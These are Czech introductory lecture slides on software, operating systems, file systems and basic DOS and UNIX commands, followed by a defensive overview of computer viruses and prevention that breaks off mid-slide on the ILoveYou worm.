Ústav automatizace inženýrských úloh a informatiky
FAST VUT v Brně
Základy informatiky a výpočetní techniky 1
PROGRAMOVÉ VYBAVENÍ,
OPERAČNÍ SYSTÉMY
© 1999 – 2002, Michal Vojkůvka
1
Programové vybavení (software)
2
• základní programové vybavení (operační systémy)
• prostředky pro tvorbu aplikačního programového
vybavení (vývojová prostředí, ...)
• aplikační programové vybavení (kancelářské aplikace,
CAD, hry, ...)
Nejznámější programovací jazyky
• Pascal, C, C++, Java, VisualBasic, Fortran, ...
Konkrétní ilustrační příklady uváděné v dalším textu jsou
zaměřeny zejména na operační systém MS Windows 2000.
Hodnocení programového vybavení
• funkčnost a variabilita
• propustnost – objem dat a množství operací, které je
schopen program zpracovat za jednotku času; úzce
souvisí s parametry technického vybavení
• spolehlivost – jak plní požadované funkce, odolnost
vůči chybám uživatele i technického vybavení
• doba odezvy – souvisí též s technickým vybavením
• náročnost z hlediska obsluhy – zejména uživatelská
přívětivost (user friendly software)
• úroveň dokumentace – rozsah, přehlednost, názornost, ...
• adaptabilita – schopnost reagovat na změny ve funkčnosti
• portabilita – přenositelnost programu na počítač jiného
typu nebo výrobce
• cena – tvoří stále vyšší podíl na ceně celého výpočetního
systému
3
Životní cyklus programového díla
• specifikace problému – zadání problému, návrh
komunikace s programem
• analýza – vytvoření logického modelu řešeného
systému
• návrh – rozklad na dílčí problémy, návrh metody
řešení
• implementace – návrh reprezentace dat, návrh
algoritmů, zápis v programovacím jazyce, ladění
• tvorba dokumentace – s cílem umožnit snadné
používání jiným uživatelům
• testování – ověření správné funkce programu
• provoz a údržba – odstranění zjištěných nedostatků
a přizpůsobení programu dodatečným požadavkům
4
Co uvádějí statistiky?
• 31 % všech softwarových projektů je zastaveno,
aniž by byly dokončeny dle zadání
• více než 70 % zbývajících je dodáno, aniž by splnily
očekávání zadavatelů
• průměrný projekt je dokončen za 189 % plánovaných
nákladů a 222 % plánovaného času
• jen 9 % velkých projektů bylo dokončeno včas a za
plánovanou cenu
• jen 16 % projektů v malých firmách bylo dokončeno
včas a za plánovanou cenu
„Počítač udělá to, co naprogramuješ, ne to, co chceš.“
5
Operační systém (OS)
• soubor programů, které řídí činnost technického
vybavení počítače a umožňují a usnadňují činnost
aplikací
• hlavním úkolem OS je zprostředkovat vazbu mezi
technickým vybavením počítače a aplikacemi
• OS poskytuje aplikacím služby a aplikace voláním
těchto služeb ovládají technické vybavení počítače
• aplikace by neměly mít přímý přístup k technickému
vybavení počítače
Aplikace
Operační systém
Technické vybavení
6
Layers of a Computer System
7
Funkce operačního systému
• řídí a spravuje technické prostředky – přiděluje čas
procesoru, paměť, vstupní a výstupní zařízení, ...
• spravuje data – řídí jejich vstup a výstup, přístup
k nim, uchování , ...
• řídí zpracování úloh – jejich přípravu, plánování
a průběh tak, aby byla zajištěna maximální efektivita
jejich zpracování
• podporuje komunikaci uživatele s počítačem – formou
uživatelského rozhraní, informuje též uživatele
o vzniklých problémech či chybách
• podporuje bezpečnost a spolehlivost výpočetního
systému – formou různých úrovní přístupových práv
apod.
8
Operační systémy – důležité pojmy
• driver (ovladač) – tvoří rozhraní mezi různorodými
periferiemi a jednotnou komunikaci mezi nimi;
ovladač je závislý na typu periferie; do operačního
systému se začleňuje instalací
• bootování – zavádění operačního systému do
operační paměti počítače
• multitasking – možnost provádění více úloh současně
• kooperativní (nonpreemtivní) – přiděluje procesům
čas procesoru na takovou dobu, jakou proces
požaduje
• preemtivní – přidělování času procesoru řídí OS,
po určité době je řízení předáno jinému procesu;
oproti kooperativnímu multitaskingu je méně
zranitelný (havárie jednoho procesu obvykle
neznamená havárii celého systému)
9
10
Operating Systems – Important Terms
• kernel – portion of operating system that is in main
memory; contains most-frequently used functions;
also called the nucleus
• process – a program in execution; an instance of
a program running on a computer; the entity that
can be assigned to and executed on a processor;
consists of of three components:
• an executable program
• associated data needed by the program
• execution context of the program
Characteristics of Modern OS
• Microkernel architecture – assigns only a few
essential functions to the kernel
• address space
• interprocess communication (IPC)
• basic scheduling
• Multithreading – process is divided into threads
that can run simultaneously
• Thread – dispatchable unit of work; executes
sequentially and is interruptable
• process is a collection of one or more threads
11
Rozdělení operačních systémů
12
• jednouživatelské jednoúlohové (single-user single-task)
např. CP/M, MS-DOS; s podporou OS běží pouze
jedna aplikace
• jednouživatelské víceúlohové (single-user multi-task)
např. Windows 95, Windows 98; jeden uživatel může
mít současně spuštěno více aplikací
• víceuživatelské víceúlohové (multi-user multi-task)
např. UNIX, Linux; umožňují zpracovávat
požadavky více uživatelů současně
• systémy s reálným časem (real time) – zejména pro
řízení technologických procesů
Komunikace uživatele s OS
• způsob, jakým uživatel dává pokyny pro OS a v jaké
formě dostává zprávy o výsledku provedené operace,
je označován jako uživatelské rozhraní (User
Interface)
• existují v podstatě dvě formy uživatelského rozhraní:
• textové uživatelské rozhraní – např. MS-DOS,
uživatel zadává pokyny prostřednictvím
tzv. příkazového řádku
• grafické uživatelské rozhraní (Graphical User
Interface, GUI) – převážná většina současných
operačních systémů, obvykle též možnost
zapisovat příkazy v příkazovém řádku
13
Komunikace uživatele s OS
Textové uživatelské rozhraní
Grafické uživatelské rozhraní
14
Organizace dat na disku
15
Diskové jednotky počítače
• označovány písmeny A až Z
A:, B:
- disketové jednotky
C:
D:, E:, ...
Příklad:
-
systémová část pevného disku
další (logické) pevné disky
vnější paměti (CD-ROM, ZIP, ...)
namapované síťové disky
A:
disketová jednotka
C:
systémová část pevného disku 10 GB
D:
logický pevný disk 10 GB
E:
jednotka CD-ROM
Q:
síťový disk
Data na discích C: a D: mohou být ve skutečnosti uložena na jediném
pevném disku s kapacitou 20 GB (podle konfigurace počítače).
16
Organizace dat na disku
Logické rozdělení disku – příklad
Primární
oblast
4 GB
C:
4 GB
Fyzický disk
10 GB
D:
Rozšířená
oblast
3 GB
6 GB
E:
3 GB
Pevný
disk
Oblasti
(partitions)
Logické
disky
Organizace dat na disku - soubory
Soubor (File)
• množina logicky souvisejících prvků
• „pojmenovaná posloupnost bajtů uložená
na záznamovém médiu“
• název souboru se skládá ze jména a přípony (např.
faktura.doc, calc.exe apod.)
• přípona je nepovinná (ale téměř vždy se používá)
a je od jména oddělena tečkou
• přípona obvykle určuje typ (formát) souboru
• pravidla pro pojmenování souborů závisí na
konkrétním operačním systému
• v názvu souboru nejsou obvykle povoleny znaky
\ / : * ? < > |
17
Organizace dat na disku - soubory
18
• v operačním systému MS-DOS mohlo mít jméno
souboru délku max. 8 znaků a přípona max. 3 znaky
• operační systém UNIX rozlišuje velká a malá
písmena v názvech souborů
Nejednoznačná specifikace souborů
• používá se tzv. hvězdičková konvence (wildcards)
• jméno a přípona souboru se nemusí uvádět
jednoznačně, lze použít zástupných znaků * a ?
• * zastupuje libovolný počet (i žádný) znaků
• ? zastupuje vždy jeden libovolný znak
• použití je možné téměř ve všech příkazech, kde se
vyskytuje jméno souboru
Organizace dat na disku - soubory
19
Nejednoznačná specifikace souboru
Příklad: Předpokládejme soubory (v jedné složce)
dop.exe
dopis.rtf
dopis.txt
dopis2.doc
dopis3.txt
doporuc.txt
Následující zápisy potom specifikují tyto soubory:
dopis*.*
dop*.*
dop.*
dopis?.*
dopis.??
dop.?x?
dop*.?x?
*.*
*.txt
dopis.rtf dopis.txt dopis2.doc dopis3.txt
všechny soubory, protože všechny začínají na dop
dop.exe
dopis2.doc dopis3.txt
žádný soubor (přípona by musela mít délku 2 znaky)
dop.exe
dop.exe dopis.txt dopis3.txt doporuc.txt
všechny soubory
dopis.txt dopis3.txt doporuc.txt (všechny soubory
s příponou txt)
Organizace dat na disku - soubory
20
Organizace dat na disku - soubory
Přípony souborů (File Extensions)
Spustitelné soubory, skripty
•
•
•
•
•
exe (executable file)
com (command file)
bat (batch file) – dávkový soubor
vbs (Visual Basic Script file)
js (JScript, JavaScript file)
Textové dokumenty
• txt (text file)
• doc (MS Word Document, příp. jiný fomát)
• rtf (Rich Text Format)
• ps (PostScript)
• pdf (Portable Document Format)
• 602 (Text602)
21
Organizace dat na disku - soubory
22
Přípony souborů
Hypertextové dokumenty
• htm, html (HyperText Markup Language)
Grafické soubory (obrázky)
•
•
•
•
•
•
jpg, jpe, jpeg (Joint Photographic Experts Group)
gif (Graphical Interchange Format)
png (Portable Network Graphics)
bmp (Bitmap file)
pcx (PC Paintbrush format)
tif, tiff (Tag Image File Format)
Organizace dat na disku - soubory
23
Přípony souborů
Zvukové soubory
•
•
•
•
mp3, mpeg3 (MPEG Audio Layer 3)
wav (Waveform sound)
ra (Real Audio)
mid (Musical Instrument Digital Interface – MIDI)
Multimediální formáty (audio/video)
• mpg, mpeg (Moving Picture Experts Group)
• avi (Audio Video Interleaved)
• asf (Advanced Streaming Format)
• qt (QuickTime)
• mov (Movie)
Organizace dat na disku - soubory
Přípony souborů
Archivní soubory (komprimované) – viz dále
•
•
•
•
•
zip
rar
arj
gz, gzip (zejména v OS UNIX)
příp. exe (self-extracting archive – samorozbalující)
Další formáty
• xls (MS Excel Spreadsheet)
•
•
•
•
•
•
ppt (MS PowerPoint Presentation)
ttf (True Type Font)
dwg (Autocad Drawing)
dll (Dynamic Link Library – dynamická knihovna)
bak (backup file – záložní soubor)
tmp (temporary file – dočasný soubor)
24
Organizace dat na disku - soubory
25
Asociace
• využití přípony souboru k vyvolání
akce, která je s touto příponou
spojena (např. soubor s příponou
XLS  spuštění aplikace MS Excel
a automatické načtení toho souboru)
• daná aplikace
však musí
požadovaný formát
souboru podporovat
Organizace dat na disku - adresáře
26
Adresář (directory) / složka (folder)
• adresář (nebo podadresář) je prostor na disku, který
může obsahovat soubory nebo další (pod)adresáře
• adresáře tvoří hierarchickou stromovou strukturu
• adresář je určen svým jménem podle stejných
pravidel jako název souboru (přípona se však
obvykle nepoužívá)
• na disku je vždy adresář, který se nazývá hlavní
(kořenový, root) a je označen znakem \
• v různých adresářích mohou existovat podadresáře
nebo soubory se stejným názvem
• od operačního systému Windows 95 je pojem
adresář nahrazen pojmem složka
Organizace dat na disku - cesty
27
• konkrétní soubor je jednoznačně určen označením disku,
posloupností adresářů vedoucích do adresáře, kde je
soubor uložen (tzv. cesta), a vlastním názvem souboru
Cesta (path)
• určuje přesné umístění souboru ve stromové
struktuře adresářů
• je dána jmény jednotlivých do sebe zanořených
adresářů oddělených oddělovacím znakem
• jako oddělovací znak se obvykle používá \ nebo /
• cestu lze zapsat jako
 absolutní (úplnou) – začíná vždy kořenovým
adresářem, příp. i označením disku
 relativní (neúplnou) – začíná aktuálním adresářem
Organizace dat na disku - cesty
Absolutní
cesta
Aktuální adresář
C:\Dokumenty
C:\Dokumenty\recenze.doc
C:\Dokumenty\Pracovní\adresy.doc
C:\Dokumenty\Záloha\photo.jpg
28
Organizace dat na disku - cesty
Relativní
cesta
29
Konvence
.
aktuální adresář
..
rodičovský (nadřazený) adresář
Aktuální adresář
C:\Dokumenty
recenze.doc
(nebo
.\recenze.doc)
Osobní\doporuc.txt
Aktuální adresář
C:\Dokumenty\Pracovní
adresy.doc
(nebo
..\škola.txt
..\Osobní\dopis.rtf
.\adresy.doc)
Organizace dat na disku - komprese
Komprese souborů (file compression)
• speciální metoda vedoucí ke zmenšení velikosti
souboru (souborů) beze ztráty informace (ve
speciálních případech může ke ztrátě dojít)
• programy pro kompresi souborů umožňují vytvořit
z vybraných souborů a adresářů jediný soubor,
jehož objem je menší než součet velikostí
jednotlivých souborů v balíku (archivu)
• mezi nejznámější formáty používané pro kompresi
souborů patří ZIP, RAR, ARJ, ...
• provést kompresi se obvykle říká „zazipovat“ nebo
„zabalit“; místo pojmu dekomprimovat se často
požívá „rozbalit“
• komprese a dekomprese dat může být též prováděna
on-line (např. s podporou operačního systému)
30
Organizace dat na disku - komprese
31
5 018 / 39 936 = 0,13
1 – 0,13 = 0,87
„úspora“ 87 %
160 KB
37,5 KB
Organizace dat na disku - komprese
Kompresní poměr vždy záleží
na konkrétním typu souboru.
4,02 MB
3,65 MB
32
Organizace dat na disku
33
• cluster (klastr, alokační jednotka) – nejmenší logická
datová jednotka na disku, skupina několika sektorů
• počet sektorů v clusteru souvisí s kapacitou disku,
čím větší je disk, tím větší bývá i velikost clusteru
• i když uložíme na disk soubor o velikosti jen 1 B,
obsadíme tím ve skutečnosti celý cluster, protože
cluster je nejmenší logická datová jednotka na disku
• Master Boot Record (MBR) – uložen v nultém
sektoru nulté stopy disku, má dvě části:
• tabulku oblastí (partition table)
• zaváděcí záznam – krátký program spouštěný
BIOSem při startu počítače, jeho úkolem je načíst
tabulku oblastí a najít aktivní oblast (tu, z níž se
načte systém)
Organizace dat na disku
34
• virtuální paměť – slouží ke „zvětšení“ kapacity
operační paměti. Pokud systém potřebuje více paměti
než je dostupná fyzická paměť RAM, jsou do souboru
virtuální paměti na pevném disku odkládány právě
nepoužívané paměťové bloky. Jde pochopitelně
o jakousi „nouzovou“ paměť, protože přístup
k pevnému disku je mnohem pomalejší než k paměti
RAM.
• defragmentace – neustálá práce se soubory na
pevném disku (ukládání, mazání) má za následek, že
uložené soubory jsou „rozkouskovány“ na několik částí.
Defragmentace roztroušené kousky souborů uspořádá
tak, aby obsah jednotlivých souborů byl uložen co
nejvíce pohromadě (např. v po sobě jdoucích
clusterech), čímž se urychlí práce s těmito soubory.
Virtual Memory
35
• using a disk as an extension of RAM so that the
effective size of usable memory grows correspondingly
• is managed by an operating system
• the OS will write the contents of a currently unused
block of the main memory to the hard disk so that the
memory can be used for another purpose
• when the original contents are needed again, they are
read back into memory
• this is all made completely transparent to the user
• of course, reading and writing the hard disk is slower
than using RAM, so the programs don't run as fast
Virtual Memory – cont’d
36
• the part of the hard disk that is used as virtual memory
is called the swap space
• the cache concept is intended to bridge the speed
gap between the CPU and the main memory
• the virtual-memory concept bridges the size gap
between the main memory and the socondary storage
Defragmentation
• each file is stored as a linked list of clusters
• fragmentation: a result of the creation and
deletion of files over a period of time
• defragmentation reduces data access time and
allows storage to be used more efficiently
37
38
Defragmentation – example
• let's consider a disk that contains only 12 clusters
• initially, all clusters are empty
1
2
3
4
5
6
7
8
9
10
11
12
• create four files: file A takes up 1 cluster, B takes 4, C takes 2, D takes 3
A
B
B
B
B
B
B
C
C
D
D
D
D
D
D
D
D
D
D
D
D
• delete the file C
A
B
B
• create new file E that needs 3 clusters
A
B
B
B
B
E
E
E
• delete files A and E
B
B
B
B
• create file F which takes up 4 clusters
F
B
B
B
B
F
F
D
D
D
F
F
F
F
D
D
D
• after defragmentation
B
B
B
B
F
Typy souborových systémů
FAT (File Allocation Table) – tabulka umístění souborů
• 12-bitová FAT (FAT12) – pouze na disketách
• 16-bitová FAT (FAT16)
• 32-bitová FAT (FAT32)
NTFS (New Technology File System) – umožňuje
definovat přístupová práva pro jednotlivé soubory
a adresáře
39
Typy souborových systémů
FAT (File Allocation Table) – tabulka umístění souborů
Velikost oblasti FAT32
Velikost clusteru
< 260 MB
512 B *)
260 MB – 8 GB
4 KB
8 GB – 16 GB
8 KB
16 GB – 32 GB
16 KB
32 GB – 2 TB
32 KB
*) omezené použití
40
FAT12, FAT16, FAT32 – srovnání
41
• FAT12: The oldest type of FAT uses a 12-bit binary number to hold the
cluster number. A volume formatted using FAT12 can hold a maximum of 4086
clusters, which is 212 minus a few values (to allow for reserved values to be
used in the FAT). FAT12 is therefore most suitable for smaller volumes, and is
used on floppy disks and hard disk partitions smaller than about 16 MB.
• FAT16: The FAT used for most hard disk partitions uses a 16-bit binary
number to hold cluster numbers. When you see someone refer to a "FAT"
volume generically, they are usually referring to FAT16, because it is the de
facto standard for hard disks. A volume using FAT16 can hold a maximum of
65526 clusters, which is 216 less a few values (again for reserved values in the
FAT). FAT16 is used for hard disk volumes ranging in size from 16 MB to 2048
MB.
• FAT32: The newest FAT type, FAT32 is supported by Windows 95's OEM SR2
release, as well as Windows 98. FAT32 uses a 28-bit binary cluster number –
not 32, because 4 of the 32 bits are "reserved". 28 bits is still enough to
permit ridiculously huge volumes – FAT32 can theoretically handle volumes
with over 268 million clusters, and will support (theoretically) drives up to 2 TB
in size. However to do this the size of the FAT grows very large.
www.storagereview.com/guide2000/ref/hdd/file/partSizes.html
FAT12, FAT16, FAT32 – srovnání
Attribute
FAT12
FAT16
FAT32
Used for
Floppies and
small hard disk
volumes
Small to large
hard disk
volumes
Medium to very
large hard disk
volumes
Size of Each FAT
Entry
12 bits
16 bits
28 bits
Maximum Number
of Clusters
4 086
65 526
~ 268 435 456
Cluster Size Used
0.5 KB to 4 KB
2 KB to 32 KB
4 KB to 32 KB
Maximum Volume
Size
16 736 256
~ 16 MB
2 147 123 200
~ 2.1 GB
about 241
~ 2 TB
42
Podpora souborových systémů
Operační systém
Podporované souborové
systémy
MS-DOS
FAT16
MS Windows 95*, 98, Me
FAT16, FAT32
MS Windows NT
FAT16, NTFS
MS Windows 2000, XP
FAT16, FAT32, NTFS
43
Zjištění typu souborového systému
44
Zavádění operačního systému
• testovací a diagnostické programy (s využitím
služeb BIOSu)
• zavaděč nalezne systémový disk
• načte do RAM zaváděcí záznam
• zaváděcí záznam zahájí načítání dalších
systémových souborů (jádra)
This procedure may differ slightly for various computers and operating systems.
45
Nejznámější operační systémy
• MS-DOS (MicroSoft – Disk Operating System)
• Windows 95,
Windows 98,
Windows Me (Millennium Edition)
• Windows NT (New Technology),
Windows 2000,
Microsoft
Windows XP (Experience)
• OS/2 (IBM)
• LINUX, UNIX, …
46
Dvě „vývojové větve“ MS Windows
47
Další operační systémy
Linux
48
Operační systém MS-DOS
49
• dříve velice populární diskový jednouživatelský
jednoúlohový operační systém používaný na osobních
počítačích
50
Operační systém MS-DOS
Základní příkazy
nápověda: příkaz /?
spuštění programu:
změna aktuálního disku:
soubor
disk:
nebo
změna aktuálního adresáře
do přímo podřízeného:
do libovolného:
do nadřízeného:
cd adresář
cd cesta\adresář
cd ..
obsah aktuálního adresáře
plný výpis:
zhuštěný výpis:
s pozastavením výpisu:
vytvoření adresáře:
zrušení adresáře:
smazání souboru:
přejmenování souboru:
výpis obsahu souboru:
přesun souboru:
kopírování souboru:
dir
dir /w
dir /p (dir | more)
md jméno
rd jméno
del soubor
ren stary novy
type soubor
move co kam
copy co kam
cesta\soubor
vytvoření systémového disku: sys disk:
rozdělení disku:
fdisk
formátování disku: format disk:
51
Operační systém UNIX
• pro každý soubor a adresář se definují přístupová
práva pro
 vlastníka
(U)
 skupinu vlastníka
(G)
 ostatní
(O)
• možná práva jsou
R (read) –
čtení souboru, prohlížení obsahu adresáře
W (write) –
změna a výmaz souboru, vytvoření
a smazání adresáře
X (execute) –
možnost spuštění souboru, možnost
vstupu do adresáře
drwxrwxrwx
-rw-r-----
drwxr-xr-x
52
Operační systém UNIX
Základní příkazy
nápověda:
spuštění programu:
cesta/soubor
změna aktuálního adresáře
do přímo podřízeného:
do libovolného:
do nadřízeného:
cd adresář
cd cesta/adresář
cd ..
obsah aktuálního adresáře
plný výpis:
zhuštěný výpis:
s pozastavením výpisu:
vytvoření adresáře:
zrušení adresáře:
smazání souboru:
přejmenování souboru:
výpis obsahu souboru:
přesun souboru:
kopírování souboru:
ls –l
(ll)
ls –f
(lsf)
ll | more
mkdir jméno
rmdir jméno
rm soubor
mv stary novy
cat soubor
mv co kam
cp co kam
man příkaz
General UNIX Architecture
53
Windows NT
• Windows NT Workstation – OS pro síťové stanice
• Windows NT Server – výkonný server pro síť typu Klient-Server
• Některé vlastnosti systému:
– větší nezávislost na platformě (využití tzv. HAL)
– preemptivní multitasking
– ověřování uživatele při přístupu do systému
– NTFS – ochrana dat na serveru a pracovní stanici
– podpora všech běžných protokolů pro komunikaci v LAN a WAN
– nové grafické nástroje pro správu systému
– doménová koncepce
– Doména = logická skupina počítačů se společnou databází
uživatelů a zabezpečovacích informací
– vyšší spolehlivost systému
54
55
Nastavení konfigurace
• ovládací panely
• registr - aplikace regedit nebo regedt32
– HKEY_CURRENT_USER - konfigurace aktuálně přihlášeného
uživatele
– HKEY_USERS – profily všech uživatelů definovaných na daném
počítači
– HKEY_LOCAL_MACHINE – konfigurace počítače (pro všechny
uživatele)
– HKEY_CLASSES_ROOT – součást HKEY_LOCAL_MACHINE
– HKEY_CURRENT_CONFIG – údaje o právě používaném HW profilu
Uživatelské účty
– Skupiny:
• lokální
• globální
– Některé standardní skupiny:
• Everyone
• Administrators
• System
Windows 2000
56
Nové programy dodávané s Windows 2000
• Editor fontů
• Narrator - popíše hlasem to, na co ukáže uživatel myší
• Fax
• Telefon (přes Internet, možnost videokonference)
•…
Nové možnosti
• při odinstalování softwaru je možno zjistit, jak často
je daný program spouštěn, kolik zabírá místa, …
• spouštění aplikací jako jiný uživatel
• stav hibernace
Windows 2000
57
Stav hibernace
• zabere na HDD tolik místa, jak velká je operační paměť
• spuštění počítače ze stavu hibernace trvá jen asi 10 s
a automaticky se spustí i aplikace, které byly spuštěny
při přechodu do režimu hibernace
• musí se aktivovat:
OBRAZOVKA  VLASTNOSTI 
SPOŘIČ OBRAZOVKY  NAPÁJENÍ  REŽIM SPÁNKU 
ZAPNOUT PODPORU REŽIMU SPÁNKU
• režim hibernace musí podporovat i základní deska
Windows 2000
• exploits the power of today’s 32-bit microprocessors
• modular structure for flexibility
• executes on a variety of hardware platforms
• modified microkernel architecture
• not a pure microkernel
• many system functions outside of the
microkernel run in kernel mode
• any module can be removed, upgraded, or replaced
without rewriting the entire system
58
Windows 2000 – Layered Structure
Hardware Abstraction Layer (HAL)
• isolates the operating system from platformspecific hardware differences
Microkernel
• most-used and most fundamental components
of the operating system
Device drivers
• translate user I/O function calls into specific
hardware device I/O requests
59
W2K Executive
• I/O manager
• Object manager
• Security reference monitor
• Process/thread manager
• Local procedure call (LPC) Facility
• Virtual memory manager
• Cache manager
• Windows/graphics modules
60
Windows 2000 – User Processes
• Special system support processes
• Ex: logon process and the session manager
• Server processes
• Environment subsystems
• User applications
61
Windows 2000 – Client/Server Model
• Simplifies the Executive
- possible to construct a variety of APIs
• Improves reliability
- each service runs as a separate process with
its own partition of memory
- clients cannot not directly access hardware
• Provides a uniform means fro applications to
communicate via LPC
• Provides base for distributed computing
62
Windows 2000 – Threads and SMP
SMP – Symmetric Multiprocessing
• Different routines can execute simultaneously
on different processors
• Multiple threads of execution within a single
process may execute on different processors
simultaneously
• Server processes may use multiple threads
• Share data and resources between process
63
Windows 2000 Architecture
64
Sdílení prostředků
65
• disk, adresář, soubor, jiná zařízení - lze nabídnout ke sdílení
• možnost nastavení přístupových práv ke sdílenému prostředku
Souborový systém NTFS
66
• dlouhá jména, vlastník, přístupová práva
• pro soubory a adresáře jsou k dispozici přístupová práva:
R
Read – zobrazení souborů a adresářů, čtení souborů
W Write – možnost zápisu a změny obsahu souborů a adresářů
X
eXecute – lze spustit soubor nebo adresář se může stát aktuálním
D Delete – rušení souborů a adresářů
P
Change Permissions – možnost změnit oprávnění pro soubor
(adresář)
O
Take Ownership – možnost převzít vlastnictví souboru (adresáře)
Některá standardní oprávnění:
Read
Change
Full Control
No Access
(RX) (RX)
(RWXD) (RWXD)
All All
Windows Me
67
Windows Millenium Edition
Deset hlavních důvodů pro inovaci na OS Windows Me
• importování a úprava domácích videofilmů
• přesun sbírky fotografií z krabice od bot na pevný disk
• vytvoření archivu a rejstříku oblíbené hudby
• ochrana důležitých souborů
• obnovení původních nastavení počítače
• nalezení odpovědí na hledané otázky
• použití počítače k programování videa či termostatu
• propojení počítačů v domácnosti
• efektivnější komunikace s přáteli a spolupracovníky
• hraní her na nové úrovni
http://www.microsoft.com/cze/windows/windowsME/upgrade/upgradewhy.asp
Windows XP
• Windows XP Professional – vhodný pro firmy
a náročné uživatele; postaven na základě jádra
použitého v systémech Windows 2000 a Windows
NT Workstation – NT Kernel; vysoká úroveň
výkonu, bezpečnosti a stability
• Windows XP Home Edition – zejména pro domácí
použití
68
Windows CE
• Windows pro přenosná zařízení typu Handheld PC
nebo Palm PC
• zcela odlišná verze Windows, která není kompatibilní
s X86 based Windows
• začínají uplatňovat jako AutoPC tj. počítač do auta
69
Literatura
• www.zive.cz
• williamstallings.com
70
Kontrolní otázky
71
Uveďte nejznámější programovací jazyky.
Definujte pojmy adaptabilita, portabilita a kompatibilita
(programového vybavení).
Co to je operační systém?
Proč by aplikace neměly mít přímý přístup k technickým
prostředkům?
Uveďte základní funkce operačního systému.
Vysvětlete pojmy driver, bootování.
Co to je multitasking? Jaký je rozdíl mezi kooperativním
a preemptivním multitaskingem?
Uveďte nejznámější víceuživatelské operační systémy.
Vysvětlete pojem uživatelské rozhraní operačního
systému.
Kontrolní otázky
72
Uveďte nejznámější operační systémy používané na
osobních počítačích.
Co to je soubor (file)? Z čeho se skládá název souboru?
Jaké znaky nejsou obvykle povoleny v názvu souboru?
Jaké zástupné znaky se používají při nejednoznačné
specifikaci souborů? Jaký mají tyto znaky význam?
Uveďte nejčastěji používané přípony spustitelných
souborů, textových dokumentů, grafických, zvukových
a multimediálních souborů.
Co to je asociace?
Co to je adresář (directory) / složka (folder)?
K čemu slouží cesta (path)?
Uveďte rozdíl mezi absolutní a relativní cestou.
Kontrolní otázky
Proč se soubory komprimují? V jakých případech lze
použít ztrátovou metodu komprese?
Uveďte nejznámější formáty používané pro kompresi
souborů.
Co to je cluster?
K čemu slouží a co obsahuje Master Boot Record?
Vysvětlete pojmy FAT a NTFS. Jaký je mezi nimi
základní rozdíl?
Které operační systémy podporují souborový systém
NTFS?
Popište zavádění operačního systému.
K čemu slouží virtuální paměť?
Co to je defragmentace souborů?
73
Ústav automatizace inženýrských úloh a informatiky
FAST VUT v Brně
Základy informatiky a výpočetní techniky 1
Počítačové
viry
© 1999 – 2002, Michal Vojkůvka
74
Počítačové viry
75
• termín počítačový virus byl poprvé použit v roce 1972
ve vědecko-fantastickém románu Davida Herolda
When Harley Was One (neodpovídá dnešnímu pojetí)
• termín počítačový virus byl poprvé definován
Fredem Cohenem v roce 1983
• první virus na počítačích třídy IBM PC s operačním
systémem MS-DOS se objevil v lednu 1986
(pákistánský virus Brain)
• počítačový virus má dvě základní funkce:
 vkládá sám sebe do jiných programů (tj. infikuje je)
 provádí nějakou (většinou škodlivou) činnost
Typy infiltrací
• trojské koně (Trojan Horses) – většinou nedochází
k samovolnému rozmnožování
• červi (Worms) – v prostředí počítačových sítí
• „zadní vrátka“ (Backdoors) – využívají hackeři, např.
Troj/Qaz (srpen 2000)
• viry (Viruses)– nejčastější typ infiltrace, často se
používá jako univerzální označení
76
Princip činnosti počítačového viru
• mechanismus šíření viru – musí zajistit infikování
dalších programů a dalších počítačů
• mechanismus obrany viru – zajišťuje utajení před
uživatelem a před antivirovými programy
• mechanismus vlastní činnosti viru – provádí jisté
(zpravidla škodlivé) akce na infikovaném počítači
77
Projevy počítačových virů
78
• destrukce dat
• zobrazování různých zpráv na obrazovce
• vyluzování různých zvuků a melodií (Yankee Doodle)
• vtipkování s uživatelem (vkládání vtipných komentářů
do textových souborů, různé animace, ...)
• simulace selhání technického vybavení
• zpomalování činnosti počítače
Vlastnosti počítačových virů
79
• současné počítačové viry nemohou poškodit technické
vybavení počítače, mohou však smazat obsah paměti
Flash-BIOS u některých základních desek a tím
znemožnit chod počítače – viry CIH (Černobyl),
Emperor a FlashKiller
• existují „mýty“ o poškozování FDD, HDD, monitorů
apod., většinou však jde o chybně navržená zařízení
• virus se nemůže zapsat na disketu ochráněnou proti
zápisu
• formátováním pevného disku se virus nemusí vždy
odstranit, neboť kód viru může být zapsán ještě
v Master Boot Recordu (MBR)
Pojmenování počítačových virů
• přímo autorem viru (AIDS, Brain, Alabama)
• podle místa svého odhalení (Durban, Suomi, Taiwan)
• podle činnosti, kterou provádí (Flip, Ping-Pong, Jo-Jo,
Yankee Doodle)
• podle délky, o níž zvětšuje infikované soubory (405,
5120, 4096)
• podle data aktivace (Friday 13th, December 24th,
Advent)
80
Motivační impulsy tvůrců virů
• legrace
• touha po slávě
• prostředek seberealizace
• prostá lidská zvědavost
• snaha škodit, ničit, ublížit
• ekonomický zisk
81
Dělení virů podle napadených oblastí
82
• boot viry (Boot Viruses) – napadají boot sektor, MBR
a tím si zajistí své spuštění hned při startu počítače
• souborové viry (File Viruses) – jejich hostitelem jsou
soubory, podle způsobu infekce se dělí souborové
viry na přepisující, parazitické a doprovodné
• multipartitní viry (Multipartite Viruses) – napadají
více částí (boot sektor i soubory)
• makroviry (Macroviruses) – šíří se v prostředí aplikací
podporujících makra (MS Word, MS Excel)
Antivirové programy
• slouží k detekci a odstranění počítačových virů
a prevenci proti případné nákaze
• je třeba provádět jejich pravidelnou aktualizaci
• nejznámějšími antivirovými programy jsou AVG,
AVAST, SCAN, Norton Antivirus, F-Prot, …
• v dnešní době je známy desetitisíce různých
počítačových virů
83
Prevence proti počítačovým virům
• používat legální programové vybavení
• používat antivirové programy
• změnit bootovací sekvenci na C:, A: (v setupu)
• vypnout WSH (Windows Script Host)
• místo souborů DOC používat raději soubory RTF
(pozor na pouhou změnu přípony!)
• u neznámých dokumentů MS Office zakázat makra
• raději používat jen prohlížeče než samotné aplikace
• nespouštět žádné podezřelé programy (z Internetu)
• zálohovat důležitá data
84
Počítačový virus ILoveYou
85
• šíří se prostřednictvím elektronické pošty („červ“)
• zpráva, která dorazí, má předmět ILOVEYOU, tělo
zprávy obsahuje text „kindly check the attached
LOVELETTER coming from me“ a přílohou zprávy
je soubor LOVE-LETTER-FOR-YOU.TXT.VBS, který
obsahuje vlastní virus
• pro šíření potřebuje program MS Outlook (zde bere
e-mailové adresy dalších obětí, na které se
automaticky rozešle) a nainstalovanou podporu WSH
(Windows Scripting Host), protože je napsán v jazyce
VBScript
• po spuštění souboru LOVE-LETTER-FOR-YOU.TXT.VBS
se virus usadí v systému
Počítačový virus ILoveYou
86
• vytvoří nové klíče v registrech
